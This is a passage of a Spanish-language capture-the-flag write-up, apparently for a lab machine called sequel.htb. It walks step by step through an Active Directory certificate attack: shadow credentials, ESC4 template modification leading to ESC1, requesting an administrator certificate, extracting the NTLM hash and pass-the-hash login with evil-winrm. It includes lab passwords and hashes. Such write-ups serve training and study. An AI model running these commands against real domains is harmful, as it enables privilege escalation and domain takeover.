Crear nuevas credenciales para autenticación basada en certificados

```bash
certipy-ad shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.10.11.51' -target dc01.sequel.htb -ns 10.10.11.51
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-aa1871a4fa091efc8a98624caa36d3f63b4cca66%2F22.png?alt=media)

**Paso 4: Buscar plantillas vulnerables**

```bash
certipy-ad find -u 'ca_svc@sequel.htb' -hashes :3b181b914e7a9d5508ea1e20bc2b7fce -stdout -vulnerable
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-81bd1b677456bbcf86359e26c805e0884ba9f5b8%2F23.png?alt=media)

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-1e3c744dbd621cf8b431aab6981293ffbc5b5b49%2F24.png?alt=media)

***

#### 🔥 ESC4 (vía ESC1)

#### 📊 Análisis de Vulnerabilidad

**ESC4** ocurre cuando existen **controles de acceso débiles** en una plantilla de certificado.

🔍 **Hallazgo**: El grupo de editores de certificados tiene control total sobre la plantilla **DunderMifflinAuthentication**.

#### 🛠️ Explotación

**Versión Certipy 4.8.2**

**Paso 5: Modificar plantilla**

```bash
certipy template -u ca_svc -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -target dc01.sequel.htb -save-old
```

**Resultado esperado:**

```
Certipy v4.8.2 - by Oliver Lyak (ly4k) 
[*] Saved old configuration for 'DunderMifflinAuthentication' to 'DunderMifflinAuthentication.json' 
[*] Updating certificate template 'DunderMifflinAuthentication' 
[*] Successfully updated 'DunderMifflinAuthentication'
```

**Paso 6: Solicitar certificado de administrador**

```bash
certipy req -ca sequel-DC01-CA -u ca_svc -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -target dc01.sequel.htb -upn administrator@sequel.htb
```

**Resultado esperado:**

```
Certipy v4.8.2 - by Oliver Lyak (ly4k) 
[*] Requesting certificate via RPC 
[*] Successfully requested certificate 
[*] Request ID is 5 
[*] Got certificate with UPN 'administrator@sequel.htb' 
[*] Certificate has no object SID 
[*] Saved certificate and private key to 'administrator.pfx'
```

**Versión Certipy 5.0.2**

**Paso 5: Modificar plantilla (nueva sintaxis)**

```bash
certipy-ad template -u ca_svc@sequel.htb -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -template DunderMifflinAuthentication -write-default-configuration -no-save
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-894b4b2948bc43816a1386687a30cbb55c550a67%2F25.png?alt=media)

**Paso 6: Solicitar certificado**

```bash
certipy-ad req -u ca_svc@sequel.htb -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -ca sequel-DC01-CA -template DunderMifflinAuthentication -upn administrator@sequel.htb
```

***

#### 🏆 Fase Final: Obtención de Acceso Administrativo

**Paso 7: Recuperar hash NTLM del administrador**

```bash
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.51
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-07f56cda16e7e52b9c9e7157c27a8d83066a4a1a%2F27.png?alt=media)

**Paso 8: Pass-the-Hash para acceso completo**

```bash
evil-winrm -i 10.10.11.51 -u administrator -H "<REDACTED>"
```

**✅ Verificación de Acceso**

```bash
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
sequel\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> 
```

***
